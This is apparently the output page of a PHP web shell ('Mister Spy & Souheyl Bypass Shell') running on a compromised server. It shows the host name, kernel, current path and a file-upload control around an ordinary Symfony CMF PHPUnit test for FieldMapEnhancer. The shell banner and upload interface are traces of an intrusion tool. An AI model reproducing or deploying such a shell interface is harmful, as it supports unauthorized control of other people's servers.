Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/musik/vendor/symfony-cmf/routing/tests/Unit/Enhancer/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/musik/vendor/symfony-cmf/routing/tests/Unit/Enhancer/FieldMapEnhancerTest.php

<?php

/*
 * This file is part of the Symfony CMF package.
 *
 * (c) Symfony CMF
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Cmf\Component\Routing\Tests\Unit\Mapper;

use PHPUnit\Framework\TestCase;
use Symfony\Cmf\Component\Routing\Enhancer\FieldMapEnhancer;
use Symfony\Component\HttpFoundation\Request;

class FieldMapEnhancerTest extends TestCase
{
    /**
     * @var Request
     */
    private $request;

    /**
     * @var FieldMapEnhancer
     */
    private $enhancer;

    public function setUp(): void
    {
        $this->request = Request::create('/test');
        $mapping = ['static_pages' => 'cmf_content.controller:indexAction'];

        $this->enhancer = new FieldMapEnhancer('type', '_controller', $mapping);
    }

    public function testFieldFoundInMapping()
    {
        $defaults = ['type' => 'static_pages'];
        $expected = [
            'type' => 'static_pages',
            '_controller' => 'cmf_content.controller:indexAction',
        ];
        $this->assertEquals($expected, $this->enhancer->enhance($defaults, $this->request));
    }

    public function testFieldAlreadyThere()
    {
        $defaults = [
            'type' => 'static_pages',
            '_controller' => 'custom.controller:indexAction',
        ];
        $this->assertEquals($defaults, $this->enhancer->enhance($defaults, $this->request));
    }

    public function testNoType()
    {
        $defaults = [];
        $this->assertEquals([], $this->enhancer->enhance($defaults, $this->request));
    }

    public function testNotFoundInMapping()
    {
        $defaults = ['type' => 'unknown_route'];
        $this->assertEquals($defaults, $this->enhancer->enhance($defaults, $this->request));
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net